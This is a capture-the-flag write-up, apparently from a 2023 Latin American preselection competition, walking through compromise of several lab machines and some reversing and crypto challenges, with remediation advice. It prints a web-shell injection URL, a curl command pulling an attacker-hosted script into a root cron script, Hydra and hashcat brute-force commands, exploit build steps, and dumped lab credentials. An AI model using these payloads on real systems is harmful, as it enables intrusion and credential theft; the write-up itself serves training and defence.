0% found this document useful (0 votes)
181 views77 pages

Writeup Preseleccion IC3 2023 PabloAravena

The document describes gaining unauthorized access to multiple systems on a network. Key steps include: 1. Scanning ports on Chewbacca and exploiting a libssh authentication bypass vulnerability to gain root access. 2. Enumerating services on Hutt like SMB and discovering credentials to access a file with an SAR application vulnerability, gaining two flags. 3. Exploiting a scheduled script on NEW_TOOL running as root to retrieve a third flag by uploading a script.
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
181 views77 pages

Writeup Preseleccion IC3 2023 PabloAravena

The document describes gaining unauthorized access to multiple systems on a network. Key steps include: 1. Scanning ports on Chewbacca and exploiting a libssh authentication bypass vulnerability to gain root access. 2. Enumerating services on Hutt like SMB and discovering credentials to access a file with an SAR application vulnerability, gaining two flags. 3. Exploiting a scheduled script on NEW_TOOL running as root to retrieve a third flag by uploading a script.
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 77

Chewbacca - 172.16.0.

88
Walkthrough
Starting this machine, we scanned the first 10.000 TCP ports in order to not miss anything that
could be relevant for getting us a user access.

After finishing the initial nmap scan, the only open ports were:

22/tcp - SSH
111/tcp - RPCBIND
2049/tcp - NFS
8140/tcp - LibSSH
Following the most interesting services, we went straight ahead for the libssh server, finding
that versions before 0.8.4 are vulnerable to an Auth Bypass, letting us login as any user.
Hoping that this service would be the first entry point for this machine, we searched for publicly
known exploits for CVE-2018-10933, finding a nice github repo with a POC server and client and
instructions with how to build and use them both.
The following code for the vulnerable ssh server, and a client that took advantage of this vuln,
was then compiled following the instructions present on the repo's README.

git clone https://github.com/hackerhouse-opensource/cve-2018-10933


cd cve-2018-10933
xz -d libssh-0.8.3.tar.xz
tar -xvf libssh-0.8.3.tar
cd libssh-0.8.3
patch -p0 < ../cve-2018-10933.patch
mkdir build
cd build
cmake ..
make

A connection to the involved port (8140/tcp) was then made, which granted us immediate root
access. Then, it was just doing a "cat" to the flag file.
LATAM{eqHQx2paXD48}

Vulnerability Fixes
LibSSH
The main security vulnerability found was the usage of a known-vulnerable SSH server
version. As a fix is already available since version 0.8.4, the only recommendation here is to
update this server to the latest version and keeping up the software on its latest version.
Depending on the case, a Long-Term Service (LTS) version could be more suitable to
prevent unwanted breaking changes.
Hutt - 172.16.0.55
Walkthrough
After finishing the initial nmap scan of the first 10.000 tcp ports, we got the following services
running at:

21/tcp - FTP
22/tcp - SSH
80/tcp - Web app
139/tcp - NBT (used by Samba)
445/tcp - SMB (Samba)

At first, we started trying what could be done with the FTP server, however it required a valid
username and it didn't have the anonymous user enabled. This meant the only other thing that
could be used to leverage something with this service could be perhaps an exploit. Searching
for possible vulnerabilities on the internet, the following RCE CVE was found (CVE-2015-3306)
for ProFTPd 1.3.5.

However, this exploit required a valid user account to work, leading us back to where we started
:(

Another interesting CVE was CVE-2019-12815, which required no authentication, however this
was listed for ProFTPd 1.3.5 and not for ProFTPd 1.3.5e (the one used on this machine). The
following picture shows the description for CVE-2019-12815.

The listed vulns for ProFTPd 1.3.5e .


The next promising service was the Samba server (SMB), where enumeration for exposed
shares was done with the smbclient tool and which required no credentials. This step got us an
exposed shared folder ( Shares ), so the next step naturally became the enum for interesting
files.

Luckily, an archive file was found ( new_tool.tar.gz ), which could be read and thus
downloaded from the share.
After decompressing and unarchiving the tar file, we got the source code for a known system
stats plotting app ( sar2html ). Initially, this didn't yield us any results besides a possible web
directory called /sarDATA and sarDATA/uPLOAD . Searching for those on the web server didn't
return anything, so this was left there for a while.
The next thing we could do was a more in-through enumeration of the NBT services, which was
done using enum4linux .
Besides getting us the hostname for this machine ( NEW_TOOL ), a local username was
discovered for this Linux machine, called lazy , which we used then to attempt to bruteforce its
credentials with crackmapexec on the SMB server.
Bruteforcing the SMB server with the standard rockyou.txt dictionary got us the password for
this user in seconds.

lazy:123456

These credentials were tried on the SSH and FTP server, yielding no results.

Trying to read other shares with these credentials only returned us to the same public share and
file found earlier ( Shares and new_tool.tar.gz ). Nothing interesting here...
Shortly afterwards, enumeration on the web server was started, for which we used ffuf to fuzz
and discover the existing directories using dirbuster's medium sized dictionary ( directory-
list-2.3-medium.txt ).
From this enum we got the following directories, some of which were more interesting than
others, as we could see most were empty (the apache web server had directory listing enabled).
One interesting page, found at /info/infophp.php , had the php_info() function executed on
the script, letting us read the environment variables, software versions and some other configs
enabled for the PHP server. However, nothing that much interesting was yet found...
After searching for a common vulnerability for the SAR program, a known RCE CVE for version
3.2.1 was immediately found, which hinted at us that the main SAR directory was needed for
this to work.
After a while enumerating directories with the prepended name of sar and sar2 using the
same dictionary used before, nothing interesting showed up. Then, after trying a lucky shot with
the name of the host, we got the main page for the SAR app.

After trying the exploit on the index.php page, we searched through the HTML for hints of
successful execution.
The output of the tail command, and thus the last lines of /etc/passwd was there on the
source HTML, but it was not visible on the web page through the browser.

A small web shell was then added to the main SAR directory for our commodity, which only
required a GET parameter ( c ), and was named after a hashed word in order to make it difficult
for some else to find and use.

http://172.16.0.55/new_tool/index.php?plot=; echo '<?php system($_GET["c"]);


?>' >13a690d2871cfbf34d191d964f9800b16b968a89.php
Trying the a basic Linux command id shows it worked.

The user flag, found at lazy's home dir, was then read through this basic web shell.

LATAM{VQLr84mwlDPJ}

As the output of this webshell was a little unreadable because of the formatting, we started
encoding the output to base64 in order to get a more clear image at the enum phase.

Enumerating the processes with ps axuwwf | base64 -w0 reminded us of the ProFTPd
server.
Searching for files related to ProFTPd got us nothing interesting, however, enumeration for
more unusual files or directories was then taken to the /var dir.

There we found an abnormal dir at /var/scripts , which showed us a bash script file that
everyone could write into ( backup.sh has 777 permissions).
The contents of backup.sh tells us this is the work of an uncaring sysadmin.

The contents of tasks.sh also shows us that the /var/scripts/backup.sh will be called
after this script is executed.

Our HTB-Fu and intuition tells us this is already hinting at a scheduled task that may be running.

Listing of the systemd timers didn't show anything interesting, but after enumerating the public
cronjobs with cat /etc/crontab | base64 -w0 , it was found that the previously shown script
( tasks.sh ) was running every 5 minutes on the host as the root user.
At first, a simple copy of the flag to the tmp dir was tried, however this didn't work, as the >
char was eliminated even after using base64 to encode and decode the script into
/var/scripts/backup.sh .

cp /tmp/aaaa /var/scripts/backup.sh

echo IyEvYmluL2Jhc2gKY3AgL3Jvb3QvZmxhZy50eHQgL3RtcC9icnVo|base64 -
d>/tmp/aaaa

After some hours trying different approaches with tee -a , a more simple solution was found.
A script stored on our machine was downloaded directly using curl on the NEW_TOOL machine,
and was stored then at the path /var/scripts/backup.sh

172.16.0.55/new_tool/13a690d2871cfbf34d191d964f9800b16b968a89.php?c=curl
192.168.200.106:8000/get_flag.sh>/var/scripts/backup.sh

The contents of the script were a simple enum of the root dir (to check if the flag was really
there), and then try to send us the flag through a HTTP GET path.
This proved successful after waiting the required 5 minutes for the cronjob.

LATAM{BeojMTWe80qw}

Vulnerability Fixes
Samba
Enable auth rate limiting on SMB to mitigate bruteforcing attempts and harvesting of valid
user credentials. Tools such as fail2ban can be used for this purpose, and certain IPs
can be banned after a set number of failed attempts, after writing a custom filter for the
Samba log file.
Minimize the exposure of shared folders to a "need-to-know" basis, following the principle
of least privilege.

Apache
Disable directory listing at /etc/httpd/conf.d/httpd.conf to set a default restricted
permission. If this feature is required on specific directories, it can be enabled on the
.htaccess at that specified dir.
Jawas1 - 172.16.0.45
Walkthrough
The initial nmap scan of the first 10.000 tcp ports showed the following available services:

22/tcp - SSH
80/tcp - Web app (Wordpress)

After finding that it was indeed a Wordpress app, we then followed the enumeration process
with WPScan, using the modules for users, posts (media), all plugins and all themes.
This way we got a valid user, admin . After trying to bruteforce the password using WPScan and
the rockyou.txt dictionary for half-an-hour, we stopped on that path.
The next steps consisted in the discovery of more directories being hosted on the web server,
from which we got the next ones fairly quickly.

Following the path at /scanner on the web server, the next application was shown. It was RIPS,
a source code vulnerability scanner, which can let us read PHP files to a certain degree (it
omitted the first lines with credentials on the wp-confip.php file).
However, a known vulnerability was found affecting this version, which allowed a Local File
Inclusion on the path RIPS_MAIN_DIR/windows/code.php?file=SOME_PATH .

This means any file could be read exploiting this vuln... in theory. After trying with the path
/etc/passwd , no content was returned, however, php files could be read this way, and so the
common wordpress file that would usually contain the DB credentials was read ( wp-
config.php ).
laurisani:ItsaNicedayEveryDay2022

Trying this credentials on the Wordpress admin panel didn't work.

After this, the other only way for us to try accessing the server using the found creds was via
SSH, which was done successfully.

Immediately after login in and displaying the user flag, it was found that this wasn't the correct
user flag, which was at another path ( /home/flag.txt ).
LATAM{AKl7XfrZuMsz}
Shortly afterwards, enumeration for files relevant to privilege escalation started, with an special
focus on files present on the home dirs of the available users.
The only users found on this machine were laurisani and raptor , the latter being not-
existent on the /etc/passwd file.

An interesting directory found in both user's home dirs was .n8n , which had a sqlite database
and an encryption key present on the corresponding config file.

After some little research, it was noted that n8n was for setting up and managing workflows,
supporting a wide array of external apps for auth and integration of their functionalities on the
workflow steps.
The .n8n config for laurisani

{
"encryptionKey": "TTqp4sUna9cQ5PRr6xdiwE/Cp9iSp6+f"
}

Checking the sqlite for the user raptor showed us its Bcrypt hashed password, which was
bruteforced using hashcat and the rockyou.txt dictionary for one hour, to no avail.

hashcat -m 3200 raptor/raptor_cred_1.hash /usr/share/wordlists/rockyou.txt

On the meanwhile, the local enumeration ensued on the SQL database that was exposed only at
the localhost address, using the previously found credentials and database config specs.
After listing the available databases, the n8n name appeared again, which contained emails and
passwords at the newaccess table.
+--------------------+------------------------------+
| logins | passwords |
+--------------------+------------------------------+
| [email protected] | VgfAbgIvtrarerGbqnlSbeFher |
| [email protected] | VgfAbgAvprqnlRirelQnl2022 |
| [email protected] | VgfAbgEnvzbaqPbqvatsbeFher |
| [email protected] | VgfAbgOvnapnFvkglSbeFher2202 |
+--------------------+------------------------------+
Following next, the Wordpress database and tables were explored, finding the admin user's
hashed password on Wordpress' own MD5-based format.

+----+------------+------------------------------------+---------------+----
------------------+------------------+---------------------+----------------
-----+-------------+--------------+
| ID | user_login | user_pass | user_nicename |
user_email | user_url | user_registered |
user_activation_key | user_status | display_name |
+----+------------+------------------------------------+---------------+----
------------------+------------------+---------------------+----------------
-----+-------------+--------------+
| 1 | admin | $P$BuYiDqiCzNKaSgiud8nMJfvKkMQmoX. | admin |
[email protected] | http://127.0.0.1 | 2022-07-03 16:43:56 |
| 0 | admin |
+----+------------+------------------------------------+---------------+----
------------------+------------------+---------------------+----------------
-----+-------------+--------------+

Sadly, after trying to bruteforce this hash for one hour approximately using hashcat and the
rockyou dictionary, no password was found and this path for priv esc was followed no further.

hashcat -m 400 raptor/admin_wp.hash /usr/share/wordlists/rockyou.txt

Continuing with the priv esc search, the next available route followed was related to laurisani's
zeitgeist data. Zeitgeist is a Linux app used for storing the users activities, chat
conversations and other app events of a user, in order to show relevant timelines and usage
statistics.
The sqlite database that stored events showed nothing more than an entry of a local file related
to CVE-2021-4034 (pkexec's local priv esc vulnerability - commonly known as pwnkit). The
exploit consists in taking advantage of a race condition while using the pkexec binary, which
has the setuid flag enabled (and thus giving the root user privs while using it).

However, after checking the pkexec version on this machine, and trying the available exploit on
github, it was found that this was already patched.

The next logical step was checking Firefox's search history for this user ( laurisani ), which
was present at places.sqlite at Firefox's dir ( ~/.mozilla/firefox/ksqch842.default-
release ).

The search history presented us with lots of visited pages, one of which was related to n8n on
localhost at port 5678/tcp. Another interesting URL was related to a local priv esc kernel
vulnerability (CVE-2021-22555) present on the Linux kernel before some versions (on Ubuntu
"groovy", before 5.8.0-55.62).
After compiling and testing this exploit, no root shell was popped, making this route another
trimmed path.
Checking on laurisani's Firefox cookies.sqlite file, we found a JWT token being cached for
the n8n app at localhost:5678.

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImZiNTQxMTY0LTdkNjktNDliMS04YWU
4LWQzNDc5ZDQ2MTVmMiIsImVtYWlsIjoicmFwdG9yQHJhcHRvci5jb20iLCJwYXNzd29yZCI6Ijc
1OGQzODM1YjY2OGNhNmVlMzMyN2Y2OTkyMTA0M2NjZTI0NzIzMmI3ZTM3YThjYmNjM2FmZDI5ODM
xOWE1OTgiLCJpYXQiOjE2NTY4Nzk0MDgsImV4cCI6MTY1NzQ4NDIwOH0.mNQzT1zS6SSUI7RiklH
NgLOvR0rdX5WIg9ipwkcN7t8

After decoding it, a possible "password" that looked more like a sha-256 hash was found. Also,
according to the Unix timestamp, the expiration date of the JWT token was due long ago
(2022), so trying to use it to authenticate later would be useless.

Checking the service at localhost on port 5678/tcp showed us a web service.


This consisted on the n8n web interface. After doing a port forward with SSH, the given
credentials found before (on the JWT token) were tried, with no success.

Vulnerability Fixes
General
Use unique passwords for every account, and for every different service. On this case, a
password reuse attack was done with the database credentials, which then allowed us to
login to SSH.
Restrict file permissions on every user's home dir. Users shouldn't be allowed to list and
read other users home directories, as sensitive files are often stored there. Permissions for
every file created by the user can be set with umask on the default .profile template at
/etc

Web server
Minimize the attack surface by not exposing apps that aren't required to be explicitly public.
Specially if those apps can read and get the content of files for a non-authenticated user. If
keeping this app exposed is strictly necessary, then HTTP Basic Auth can be enabled on
Apache with the .htaccess file on the current dir to protect.
Update the apps used to the latest version and keep up with new patches and the latest
versions. Depending on the case, a Long-Term Service (LTS) version could be more suitable
to prevent unwanted breaking changes.
Rakata - 172.16.0.15
The initial nmap scanning of the first 10.000 tcp ports showed just the following service:

8080/tcp - Web Server

After checking it manually, it was found that it corresponded to a Jenkins login panel. Jenkins is
a CI/CD tool for creating, managing and running code workflows steps (building, deploying and
more). Searching for known vulnerabilities on the current version being used (2.251) yielded no
interesting results.
Our other option instantly became trying to bruteforce our access with the common users for
Jenkins ( jenkins , admin ). Using Hydra, the only required thing were the endpoint for login, the
POST parameters used and the error message after an unsuccessful attempt. Intercepting and
analyzing the requests and responses after a single invalid login attempt got us all this
information using Burpsuite.

After some seconds, we instantly got the password for the admin user.

hydra -L users.txt -P /usr/share/wordlists/rockyou.txt -s 8080 172.16.0.15


http-post-form
"/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=%2Fscript%
2F&Submit=Sign+in:Invalid username or password"
admin:147258369

As a CI/CD tool, Jenkins provides the user with the customization the pipeline, in which we can
execute native OS commands at the end of every build. Our only mission was to create a job
and then specify a command there that would give us access to the machine.

A PowerShell reverse shell was created using msfvenom and our network config.

After creating a Job, we passed the PowerShell command that executed our encoded
PowerShell payload, which would contain the reverse shell for our machine, and pressed the
"Build Now" button to trigger the build workflow and thus run our command.
After failing and trying for many hours, we realized that connections back to our machine
weren't possible, as there were some heavy network restrictions put in place. Then, striving for
simplicity, a realization was made that just running cmd commands was enough to get execute
arbitrary commands and get their respective outputs at the end of each build.

Running whoami /all showed that the current process was already running with high
privileges (local admin), as the user raxus-admin is part of the Administrators group.
Recursively enumerating the home dir of the raxus-admin user got us all the information that we
needed.
However, these flags weren't the correct ones.

c:\users\raxus-admin\Desktop\root.txt
c:\users\raxus-admin\Desktop\jenkins-passwd.txt

LATAM{j3nk1ns_}

After a while, it came to mind that the correct paths for the flags were already listed on the
challenge description page, back at the CTF portal. Knowing this, getting the flags was just as
easy as retrieving the contents of the files on the subsequent Jenkins' builds.
LATAM{6vu898AF6QJ9}

LATAM{GmBIZmIscl3r}

Vulnerability Fixes
Jenkins
Enable rate limiting to prevent bruteforcing valid user credentials for the main Jenkins login
panel. This can be done using fail2ban to ban certain IPs after a set number of failed
attempts, after writing a custom filter for its log file. The flag
<useSecurity>true</useSecurity> could be enabled on the config.xml , however
locking out users may pose an unwanted availability risk.
Change the current Jenkins infrastructure architecture to use distributed nodes, isolating
builds by only letting them be run outside the controller node, as letting a user run
commands on the controller node gives it the possibility of accessing and tampering the
current configuration, posing a confidentiality, availability and integrity risk.
Twilek - 172.16.0.35
After finishing the nmap scan of the first 10.000 tcp ports, the following services were found:

22/tcp - SSH
80/tcp - Web server

Searching for the SSH version shows that this service is not vulnerable to RCE or something
interesting and widely known, so it wasn't the path to gain initial access on the machine. The
same goes for the apache version shown.

Our next step is going towards the web app, as it could contain either stored secrets, backups,
code vulnerabilities or any other interesing stuff. Just after visiting the website, we are greeted
with a custom-made page for a ficticious entity (City Real Estate).
After analyzing the source HTML and JS files, we got into a php page that was only available
from the home page at the "About" button, leading us to arq.php?arq=about . A candidate for a
LFI that we would check later.
The other possible vulnerable endpoint appeared on the contact functionality of the web page,
however, we could'nt even make the backend sends us back something that's not "ERROR!"
after some regular or expected input. This means that if the simple input is already failing, the
exploratory route to finding something like a SQL Injection vuln or any other vuln gets
completely written off of our initial access path.

After sorting these dilemmas we went for the simple: the possibly vulnerable page at arq.php?
arq=about . Here the classics were thrown (null bytes, php wrappers), but only the php
wrappers proved to be useful. The wrapper php://filter/resource=about will return us the
content of the About page, however, adding anything else will make the filter fail.
After a while, more php wrappers were tried, the first one being ftp:// , which could connect to
our machine on a port which was behind a local netcat instance listening.

After this connection test, we tried using the HTTP php wrapper ( http:// ), in hopes of
converting this into a remote file inclusion (RFI).

This shows that the file that it's being requested ( about.html ) gets appended a .txt string at
the end.

A simple php script was created, which should only show "aaaa" if the web server was correctly
parsing and interpreting our .txt file as a php script.
The request importing our simple.php script was made on the vulnerable app, and our
backend got the HTTP GET for that file.

The end product was just what we wanted. PHP execution with any file extension.

We changed the php file content to a reverse shell that connected directly to us and imported it
with the RFI vuln, proving successful.

After upgrading the shell, the flag was found and displayed.
LATAM{VDWkBhf2DEBu}

Shortly after this, the SSH private key for the user w33k was found on the user's home dir,
involving a lateral escalation as this user. This could be read because the .ssh directory, and its
files, had lax read permissions which would enable any other user besides the owner to both list
the directory and read the inner files.
We then confirmed this key was useful for lateral escalation checking both the authorized keys
file and the public key found, proving they are the same.

After exfiltrating the private key out, the next step became extracting the hash from the armored
SSH private key, so we could bruteforce its passphrase.

Using John The Ripper, a password was easily and quickly obtained using the rockyou.txt
dictionary.

w33k:666666

Afterwards, it was only a matter of using this key file for login in with SSH.
After checking the user's home dir, and following the standard Linux enumeration procedures
of:

Listing all processes


Listing all open ports
Listing all the binaries with capabilities
Getting all the readable dirs for the current user and group
Listing all setuid binaries

We eventually found an interesting setuid binary with a non-standard name ( w3 ) and path
( /usr/share ).
Reading the ascii strings inside the binary using strings confirmed that this binary was indeed
the path to privilege escalation. A call to system() was being made and with the command du
--max-depth=2 / .

Analyzing this binary with more in-depth showed that this had a Path Hijacking vulnerability, as
the du binary is called from a relative path instead of an absolute one. This means we can pass
arbitrary user environment variables to this program that will stick on the running process when
we execute it.

The specific environment variable to exploit this vulnerability is the PATH envvar, which stores
the directories where the current user will search for executable binaries when running a
command in the relative path form.

A simple exploit for this would be creating a bash script on the /tmp dir (which would
eventually get us the flag using cp ), then giving the exec permissions on the file and finally,
calling the binary with the temporary envvar PATH asigning the tmp dir as the first directory to
search for executable programs.
LATAM{dij2R6lFCHGi}

Vulnerability Fixes
Web App
Minimize PHP Wrapper usage to only the minimum that's required for the app to work,
following the least privilege principle. In this case, if the HTTP wrapper is required, a valid
URL filtering mechanism should be ensured.

Files
Restrict file permissions on every user's home dir. Users shouldn't be allowed to list and
read other users home directories, as sensitive files are often stored there. Permissions for
every file created by the user can be set with umask on the default .profile template at
/etc .
The .ssh directory for w33k should have only "700" permissions (rwx-only by the owner)
assigned on it, and private key files should have "600" permissions (rw-only by the owner).
chmod can be used for this purpose.
Remove the setuid permission of programs that don't need to have it. If it's strictly
necessary, one should ensure that the called binaries from inside the setuid program are
only called from their absolute paths in order to prevent path hijacking.
Misc
Challenges' Write-Ups
LATAM01 - Bof-Grogu
Checking the binary, we noted that this was a statically linked ELF file for a 32-bit CPU
architecture, which means it doesn't import any function from libc, packing all the required code
on the same binary.

Dissasembling the main() function, only regular puts() outputting hardcoded strings were
found.
The next function call was local() , which didn't do anything impressive besides some other
puts() calls some small stubs added for 32-bit compatibility ( __x86.get_pc_thunk.bx ,
fcn.08049028 ).
The good thing about this binary is that its not stripped of its symbol names, which makes it
keep the original function name before compiling. Checking the symbol table we noted the
existence of the LATAM() function symbol.

Going into the function's definition showed a fairly obvious decoder stub for a hardcoded flag
that was stored on the stack (and passed to local variables via mov instructions). The decoder
goes through every byte on the flag array, substracts the value 80 ( 0x50 ) and then it shows it
on stdout.
The following bytes pased to the local stack variables were extracted.

0x91a4919c
0x8183cb9d
0x82888386
0x84888187
0x81858389
0x83828389
0xcd

A simple python procedure that decodes this flag was done on the fly over the iPython3
console.

First, the encoded flag is given "as-its-found" on a list, separated by small 4-byte chunks
integers.
Afterwards, a for loop goes through every 4-byte chunk, parses these ints from little-endian
order into 4-byte big-endian order chunks into a byte string.

Then finally, the encoded flag is obtained substracting 80 from every byte. Note that the last 3
bytes on the decoded flag are extra chars obtained while transforming the last byte on the
enc_flag list, from its little-endian form into a 32-bit big-endian int ( 0x000000cd =>
0xcd000000 ).

LATAM{316382718493519323}

LATAM02 - Bof Grogu 2


Checking the file, we are presented with another statically linked, 32-bit ELF file.

This time, checking the hardcoded strings using the strings binary gave us a banner related
to the functionality of this program ("TEAM LATAM - ICC"), but also another string telling us that
a token is required, along with the name of a possible file with the .enc extension
( token_[...].enc ).
Checking the main function, very few things change regarding the usage of puts() on many
different parts of the code with the previous challenge, however, the print_key() function
manages to stand out. A check condition is made using the well-known access syscall before
branching into this function, ensuring the file or dir at path is accessible with a given mode
( F_OK == 0 , existence of file). Otherwise, an error message is shown ( Token not detected )
and the program ends.

A quick dynamic analysis shows us the path parameter for access() is token_[...].enc (the
same string found before) and mode is F_OK (check for existence).
Disassembling the print_key function shows us that this function prints some messages,
asks for input and then returns, showing no sign of a meaningful comparation between
characters or data reading from another section.

After a while, the only other sensible explanation for this lack of flag-checking or decoding stub
was that perhaps the corresponding stub would be hidden inside any of the in-between function
calls between entry and the end of execution (e.g: entry , puts , __isoc99_scanf ,
__printf , putchar , access ), as afterall this is a statically compiled binary, thus it brings its
own function definitions inside.
Skimming through these function definitions, we realized this was not the case, and other
symbol present on this not-stripped binary called us to attention. It was read_file , a function
not known in libc nor as a syscall.

Checking the function, it was straight-forward to notice that it resembled a pattern just like the
previous binary, both in hiding a decoding stub ( LATAM() , read_file() ) and decoding the flag
with the same procedure as before (substracting 80 from each byte).

After extracting the 4-byte chunks (stored in little-endian order) on the mov instructions, we
followed the same procedure as before on the iPython3 console.

0x91a4919c
0x8481cb9d
0x81868388
0x82878580
0x84828387
0x83818088
0xcd
LATAM{148361057273248013}

AsciiNumbers
This challenge presented us three to four ascii-art-esque numbers ranging from 0 to 9, which
were separated by a newline. The challenge asked us to answer what these numbers were at
each round, over a grand total of 250 rounds.
Doing this by hand was possible, however it posed a tedious task. So, we automatized it with
Python :D. The only required things were a sensible dictionary of the ascii-art numbers.

After dealing with some minor string-escaping issues on Python, we were good to go.
Running this program and waiting for a while yielded us the flag.
LATAM{qpMW4Kj23Xbr}

CrytoLatam
This challenge consisted on what the following image shows. There's a 318-char long number
that corresponds to the encrypted message, and a 10-by-10 matrix of ascii chars that's related
to the encryption algorithm or that serves explicitly as the key.
At first, it was thought that this algorithm would correspond to a modified Hill Cypher, however,
this wasn't the case.

Then, different approaches were tried. The first took the matrix as a flat vector of 100
characters, and the encrypted message as a long string that got parsed as big-endian bytes,
and then proceeded to xor every byte from the flattened matrix with the encoded message.
The other one had the same representation but instead of doing a xor between every byte on
the flattened matrix and the encoded message, it was a substraction operation. The next one
was an addition operation.

The results were only gibberish output.

After some hours leaving this challenge alone and some intensive google-fu, we found many
other similar CTF challenges involving ascii-char matrices and a long number, from which we
got that the long number is a coordinates vector, and the matrix is a pool of ascii letters from
which we would build the final flag.

The coordinate vector should be used taking 2 numbers at a time and using those as a X and Y
coordinate pair, respectively, from which we would then grab the correct character positioned at
the (X, Y) position on the given matrix, following the order of the coordinates vector.

LATAM{823hd6sg36ha729d6gs5d43j2k2br484}

You might also like